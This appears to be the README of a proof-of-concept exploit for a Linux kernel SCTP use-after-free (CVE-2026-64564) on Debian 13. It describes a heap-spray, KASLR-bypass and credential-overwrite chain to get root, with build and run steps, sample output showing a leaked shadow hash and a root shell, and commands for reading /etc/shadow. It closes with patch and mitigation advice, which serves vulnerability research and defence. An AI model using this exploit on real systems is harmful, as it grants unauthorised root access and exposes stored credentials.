## https://sploitus.com/exploit?id=B10CF7EF-E197-5ED4-BD0F-7846C5CA3F6E
# CVE-2026-64564: SCTPhantom - Local Privilege Escalation (LPE) PoC
[](https://vulners.com/cve/CVE-2026-64564)     
**Source File:** `CVE-2026-64564.c`
**Target:** Debian 13 (Trixie) with Kernel **6.12.95+deb13-amd64**
**Type:** Use-After-Free (UAF) in the Linux kernel SCTP subsystem
* * *
## Vulnerability Description
This is a Proof of Concept (PoC) implementation for **CVE-2026-64564**, also known as **SCTPhantom**.
The flaw resides in the Linux kernel's SCTP (Stream Control Transmission Protocol) module. By sending a malicious `ASCONF` (Address Configuration) chunk containing specific `DEL-IP` (Delete IP Address) parameters, the kernel improperly frees the `struct sctp_transport` from memory while leaving a dangling pointer to it.
This exploit leverages that Use-After-Free (UAF) condition to:
1. Perform a **Heap Spray** and reclaim the freed memory with attacker-controlled data.
2. Leak kernel addresses to **bypass KASLR** (Kernel Address Space Layout Randomization).
3. Corrupt the target process's `struct cred` (credentials).
4. Call `commit_creds()` to **escalate privileges to root**.
* * *
## Vulnerable Systems (Tested)
This PoC has been compiled and specifically validated for the following configuration:
- **Distribution:** Debian 13 (Trixie)
- **Architecture:** amd64
- **Kernel Version:** `6.12.95+deb13-amd64`
> **⚠️ Portability Warning:** This code relies on **hardcoded structure offsets** extracted from the exact kernel build listed above. It will **NOT** work on other kernels (such as `6.12.74` or `6.12.101`) without manual recalibration of the offsets. The `6.12.101` kernel already contains the official patch for this CVE.
* * *
## Prerequisites
Ensure your environment meets the following requirements:
1. **Vulnerable Kernel:** Run `uname -r` and confirm it outputs `6.12.95+deb13-amd64`.
2. **SCTP Module loaded:** Run `lsmod | grep sctp`. If nothing appears, load it with:
```
sudo modprobe sctp
```
3. **Development Tools:** To compile the code, install the required libraries:
```
sudo apt update
sudo apt install build-essential libsctp-dev
```
* * *
## Compilation
Use `gcc` to compile the source code. The output will be a static executable.
```
# Compile the main exploit
gcc -O2 -static -o CVE-2026-64564 CVE-2026-64564.c -lsctp
# (Optional) Compile the auxiliary SCTP handshake server
gcc -o server server.c -lsctp
```
* * *
## How to Execute (Step-by-Step)
To function, the exploit needs to establish a valid SCTP association. This requires a "server" (peer) listening on the target port.
### 1\. Open a terminal for the SCTP Server
This process will stay in the background, maintaining the SCTP handshake for the exploit to connect.
```
./server
```
**Expected output:**
```
Servidor SCTP escutando na porta 9999...
```
### 2\. Open a second terminal and execute the Exploit
Run the compiled binary as a standard, non-privileged user:
```
./CVE-2026-64564
```
### 3\. What to expect during execution
If everything proceeds successfully, you will see output similar to the following:
```
[*] SCTPhantom LPE PoC - CVE-2026-64564
[*] Compilado para Debian 13 kernel 6.12.95
[+] ASCONF malicioso enviado (UAF triggerado)
[+] UAF1 page: 0xffff9a8fXXXXX000 (1 attempts)
[+] KASLR slide: 0xXXXXX (IDT 0xXXXX)
[+] credential security: 0xffff9a8fXXXXX
[*] graph: transport=0xffff9a8fXXXXX asoc=1 af=1 base_sk=1
[*] trigger: sprayed=xxx uid=1000 before=0
[*] result: uid=1000 before=0 after=1
[+] global root confirmed
[+] shadow: root:$y$j9T$...
[+] marker written: /root/SCTP_LPE_SUCCESS
[+] SHELL ROOT OBTIDO!
#
```
At this point, your terminal will drop you into an interactive root shell (`#`).
* * *
## Privilege Escalation Verification
You can confirm the exploit succeeded by running the following commands inside the root shell:
```
whoami
# Output: root
id
# Output: uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
# Should display the full contents of the system's shadow file
```
* * *
## Post-Exploitation and Cleanup
Reboot the system after you finish testing to ensure no corrupted kernel pointers remain in memory:
```
sudo reboot
```
Ensure your kernel is updated to **6.12.101** or higher, or disable the SCTP module on production systems to mitigate risk:
```
sudo modprobe -r sctp
```
* * *
## Legal Security Warning
This code is provided strictly for **educational purposes**, security research, and testing in controlled environments. Misuse to compromise systems without explicit authorization is illegal and violates cybercrime laws.
- Never run this on production systems.
- Never run this on systems you do not own or do not have explicit permission to test.
The author assumes no liability for any damages caused by the misuse of this code.
* * *
## References & Acknowledgments
- **CVE:** CVE-2026-64564
- **Original Research:** Tencent Security Teams (Xuanwu Lab) & Corvus AI
- **Fix Commit:** Included in the Linux kernel starting from versions 6.12.101, 6.6.148, etc.